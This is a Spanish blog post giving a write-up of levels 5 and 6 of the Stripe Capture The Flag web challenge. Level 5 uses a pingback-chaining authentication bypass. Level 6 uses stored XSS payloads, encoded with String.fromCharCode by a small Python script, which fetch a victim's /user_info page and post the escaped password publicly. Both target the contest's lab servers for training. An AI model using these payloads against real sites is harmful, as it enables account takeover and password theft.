martes, 4 de septiembre de 2012

Stripe Capture The Flag: Web Edition - Solutions (Part II)

Después de la primera parte del Stripe Capture The Flag: Web Editio yn - Solutions, dónde explicaba como poder resolver los niveles 0, 1, 2, 3 y 4, hoy continuaremos con la segunda entrega de esta serie dónde explico la resolución de los niveles 5 y 6.

En estos niveles al igual que en los anteriores, los iniciaré con una pequeña descripción que ofrecían en el reto, el código fuente para que podáis hacer las pruebas localmente y por último la forma en que resolví el reto, que no quiere decir que sea la única ni la mejor, os lo aseguro.

******************************************************************************
- Stripe Capture The Flag: Web Edition - Solutions (Part I)
- Stripe Capture The Flag: Web Edition - Solutions (Part II)
- Stripe Capture The Flag: Web Edition - Solutions (Part III)
******************************************************************************

image

Descripción: The DomainAuthenticator is based off a novel protocol for establishing identities. To authenticate to a site, you simply provide it username, password, and pingback URL. The site posts your credentials to the pingback URL, which returns either "AUTHENTICATED" or "DENIED". If "AUTHENTICATED", the site considers you signed in as a user for the pingback domain.

We've been using it to distribute the password to access Level 6. If you could only somehow authenticate as a user of a level05 machine...

To avoid nefarious exploits, the machine hosting the DomainAuthenticator has very locked down network access. It can only make outbound requests to other stripe-ctf.com servers. Though, you've heard that someone forgot to internally firewall off the high ports from the Level 2 server.

Código fuente: [Descarga_codigo_fuente_nivel_5]

Solución: Entramos en el portal y nos encontramos con un formulario donde se nos permite introducir usuario, contraseña y la dirección URL del pingback.

image

Esta claro que teníamos que utilizar el servidor del nivel 2 (recordad que es el que nos permitía subir ficheros mediante la red social), para ayudarnos en este reto. Pero antes de nada vamos a mirar que pinta tiene el código fuente.

Después de hacer las comprobaciones en el código y de que realmente el pingback se está enviando a un servidor del CTF, nos encontramos con este código cuando la aplicación recibe datos por el método POST:

image

Está claro que para autenticarnos en el servidor la respuesta que devuelva el servidor donde hacemos pingback ha de ser la palabra “AUTHENTICATED”, por lo que, subimos a nuestro servidor del nivel 2 un fichero PHP que nos devuelva esta palabra.

image

Realizamos una petición con el valor “https://level02-2.stripe-stf.com/user-qnriiemgks/uplods/a.php” en el campo pingback y un usuario y clave cualquiera, pero nos devuelve un error indicando que no hemos conseguido autenticarnos, algo está fallando.

Si observamos de nuevo el código:

image

Si analizamos la expresión regular que identifica el body, podemos visualizar como el carácter “$” nos está marcando el final de línea, por lo que necesitamos de la existencia de un salto de línea después de la palabra “AUTHENTICATED”.

La forma de solucionar el problema fue la siguiente:

image

Tres “AUTHENTICATED” y un salto de línea por detrás y por delante, por si acaso :P, consiguiendo el siguiente resultado al volver hacer la petición:

image

¡Hemos conseguido autenticarnos! Pero tenemos un problema, la aplicación ha detectado que lo hemos hecho a través del servidor 2 y no nos devuelve la password, tenemos que autenticarnos como “@level05-1.stripe-ctf.com”. ¿Pero cómo?, no podemos subir ficheros al servidor 5.

Después de un rato mirando el código fuente en busca de alguna vulnerabilidad, me di cuenta que había algo sospechoso.

image

Para quien no lo sepa “PARAMS[]” en ruby es similar a “$_REQUEST” en PHP, por lo que el servidor cuando se le envía una petición POST, también está leyendo los parámetros por GET.

De este modo lo que podríamos hacer es un pingback doble, me explico.

Si utilizamos nuestro campo pingback para enviar la siguiente dirección “https://level05-1.stripe-ctf.com/user-hrgoceyhdf/?pingback=https://level02-2.stripe-ctf.com/user-qnriiemgks/uploads/a.php”, lo que estaremos consiguiendo es lo siguiente:

image

1. La variable pingback que recoge la petición POST(1) tendrá el valor “https://level05-1.stripe-ctf.com/user-hrgoceyhdf/?pingback=https://level02-2.stripe-ctf.com/user-qnriiemgks/uploads/a.php”

image

2. Al comprobar si esta dirección responde con la palabra “AUTHENTICATED” se volverá a realizar otra petición POST(2) contra el servidor del nivel 5 y en este caso la variable pingback será “https://level02-2.stripe-ctf.com/user-qnriiemgks/uploads/a.php” gracias a que la función “params[]” coge de igual modo los parámetros enviamos por GET, de este modo conseguimos que la variable body contenga la palabra “AUTHENTICATED”.

image

Al finalizar la primera petición POST(1) obtendremos que la respuesta a esta es la siguiente:

image

De este modo la respuesta del primer pingback nos sirve para hacer el segundo y autenticarnos como usuarios del nivel 5. Si volvemos a la página inicial nos encontramos con que hemos conseguido la password “zHovFOMINg”.

image

 

image

Descripción: After Karma Trader from Level 4 was hit with massive karma inflation (purportedly due to someone flooding the market with massive quantities of karma), the site had to close its doors. All hope was not lost, however, since the technology was acquired by a real up-and-comer, Streamer. Streamer is the self-proclaimed most steamlined way of sharing updates with your friends.

The Streamer engineers, realizing that security holes had led to the demise of Karma Trader, have greatly beefed up the security of their application. Which is really too bad, because you've learned that the holder of the password to access Level 7, level07-password-holder, is the first Streamer user.

As well, level07-password-holder is taking a lot of precautions: his or her computer has no network access besides the Streamer server itself, and his or her password is a complicated mess, including quotes and apostrophes and the like.

Código fuente: [Descarga_codigo_fuente_nivel_6]

Solución: Si accedemos al portal que nos indican, nos encontramos un formulario de login y de registro para acceder al servicio. Una vez registrados podemos observar un portal diseñado para el envío y la lectura de posts entre los usuarios que existen en el sistema.

image

Por otro lado, pulsando sobre nuestro usuario en la columna de la derecha accedemos a la página “/user_info” donde nos informan de nuestra contraseña (solo era posible acceder a la información del usuario autenticado), por si la olvidamos supongo :S.

Como en la descripción del nivel hacían referencia al nivel 4 (acordaros que era el del envío de karma mediante la cuenta karma_fountain), lo primero que hice fue probar inyección de HTML y JavaScript en todos los campos visibles en busca de una vulnerabilidad XSS.

Al intentar inyectar código como ”><b>XSS</b> o <script>alert(‘XSS’)</script> la aplicación nos devolvía un error “500 – Internal Server Error”, parecía que nos estuvieran filtrando algunos caracteres.

Revisando un poco el código fuente nos topamos con la siguiente función:

image

Al insertar una entrada en el portal, nos están filtrando los caracteres comilla () y comilla simples (), por lo que tenemos que hacer que nuestro código inyectado no disponga de estos caracteres.

Una solución a este problema es la función String.fromCharCode(), que nos permite sustituir cualquier carácter por su equivalente decimal, Ej: A=65, B=66, C=67, junto a esto era necesario cerrar algunos tags para que se ejecutara completamente el XSS, por lo que el resultado final de nuestra inyección es la siguiente:

</script><script>document.write(String.fromCharCode(INYECCIÓN_AQUI))</script>

La función document.write(), es necesaria ya que tenemos que imprimir el código en la página para que se pueda ejecutar. Para agilizar un poco la tarea, cree un sencillo script en python que me convirtiera cualquier inyección es sus respectivos decimales separados por comas.

import sys 

data = "<script>alert('Esto es un XSS!!')</script>"
result = "" for char in data: result += str(ord(char))+"," print "</script><script>document.write(String.fromCharCode("+result[:len(result)-1]+"))</script>"
Si lo ejecutamos, obtenemos el siguiente resultado:

image

Si cogemos el código generado por el script y lo introducimos como una posible entrada en el muro de la aplicación, conseguimos nuestro deseado XSS.

image

¿Y ahora qué?

Teniendo en cuenta que el usuario que nos interesa robarle el password “level07-password-holder”, también se conecta cada cierto tiempo al portal tal y como pasaba en el nivel 4, hemos de inyectar un código XSS que le robe el password y lo publique en su muro para que posteriormente lo podamos ver.

En este caso la única forma de extraer el password es haciendo una petición GET contra la dirección url “/user_info” y guardarnos el resultado. Para realizar la petición GET vamos a aprovecharnos que disponemos del javascript de jquery incluido en el portal.

Inyección normal:

<script>$.get(\"/user-amedskxtrs/user_info\",{paramOne : 1},function(data) {alert('page content: ' + data);});</script>

Inyección codificada:

</script><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,62,36,46,103,101,116,40,34,47,117,115,101,114,45,97,109,101,100,115,107,120,116,114,115,47,117,115,101,114,95,105,110,102,111,34,44,123,112,97,114,97,109,79,110,101,32,58,32,49,125,44,102,117,110,99,116,105,111,110,40,100,97,116,97,41,32,123,97,108,101,114,116,40,39,112,97,103,101,32,99,111,110,116,101,110,116,58,32,39,32,43,32,100,97,116,97,41,59,125,41,59,60,47,115,99,114,105,112,116,62))</script>

Y obtenemos el siguiente resultado:

image

Ya hemos conseguido almacenar en una variable el resultado de la petición GET a la página “/user_info” que dispone de la password, ahora solo nos queda postear el resultado de la petición en una nueva entrada.

El código es muy sencillo, únicamente modificamos la variable title con el valor “title”, la variable body con el código devuelto por la petición GET y enviamos el formulario.

Inyección normal:

<script>$.get(\"/user-amedskxtrs/user_info\",{paramOne : 1},function(data) {function send_form(){document.forms[\"new_post\"].body.value=data.slice(data.length-174);document.forms[\"new_post\"].title.value='title';document.forms[\"new_post\"].submit();};send_form()});</script>"

Inyección codificada:

</script><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,62,36,46,103,101,116,40,34,47,117,115,101,114,45,97,109,101,100,115,107,120,116,114,115,47,117,115,101,114,95,105,110,102,111,34,44,123,112,97,114,97,109,79,110,101,32,58,32,49,125,44,102,117,110,99,116,105,111,110,40,100,97,116,97,41,32,123,102,117,110,99,116,105,111,110,32,115,101,110,100,95,102,111,114,109,40,41,123,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,34,110,101,119,95,112,111,115,116,34,93,46,98,111,100,121,46,118,97,108,117,101,61,100,97,116,97,46,115,108,105,99,101,40,100,97,116,97,46,108,101,110,103,116,104,45,49,55,52,41,59,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,34,110,101,119,95,112,111,115,116,34,93,46,116,105,116,108,101,46,118,97,108,117,101,61,39,116,105,116,108,101,39,59,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,34,110,101,119,95,112,111,115,116,34,93,46,115,117,98,109,105,116,40,41,59,125,59,115,101,110,100,95,102,111,114,109,40,41,125,41,59,60,47,115,99,114,105,112,116,62))</script>

Si os fijáis en la inyección he utilizado la función slice() para cortar parte del resultado y no tener que enviar todo el código de la página. Probamos con nuestro usuario la inyección a ver si publica nuestra password en el muro:

image

Tal y como podemos observar, después de realizarnos el portal cinco destellos debidos a la inyección del XSS conseguimos que nuestra password en este caso una “b” sea publicada en el muro.

Ahora solo falta volver inyectar el código XSS y esperar a que el usuario “level07-password-holder” se conecte…

…Parece que tenemos un problema, visualizando la hora de conexión del usuario “level07-password-holder” veo que se ha conectado y en el muro sigue sin aparecer su password, algo ha ido mal. Es aquí cuando recordé la descripción inicial del reto -> his or her password is a complicated mess, including quotes and apostrophes and the like <- La password del usuario tiene los caracteres prohibidos.. Así que tendremos que escapar el texto que queremos añadir en la entrada mediante la función escape().

Inyección normal:

"<script>$.get(\"/user-amedskxtrs/user_info\",{paramOne : 1},function(data) {function send_form(){document.forms[\"new_post\"].body.value=escape(data.slice(data.length-174));document.forms[\"new_post\"].title.value='title';document.forms[\"new_post\"].submit();};send_form()});</script>

Esperamos a que el usuario se conecte y..

image

Tenemos el password codificada del usuario “level07-password-holder”!! Lo decodificamos…

image

Y conseguimos el password que nos da acceso al nivel 7. -> ‘BLKTYvFkGpp” <-

En breves publicaré la tercera y última entrada de la serie, Un Saludo!!

5 comentarios:

  1. Qué curioso el nivel 7, y qué poco me gusta jquery xD

    ResponderEliminar
    Respuestas
    1. Jajajaja por suerte las peticiones que se hacían no eran muy complicadas ;)

      Eliminar
  2. Ohhhh yeaaahhh!!! Jueves cañas para variar???

    ResponderEliminar
  3. Ei¡ nos tienes abandonados :(
    publica post¡¡¡¡¡¡¡¡¡
    (a poder ser de exploits, jejejejeje)
    Un saludo.

    ResponderEliminar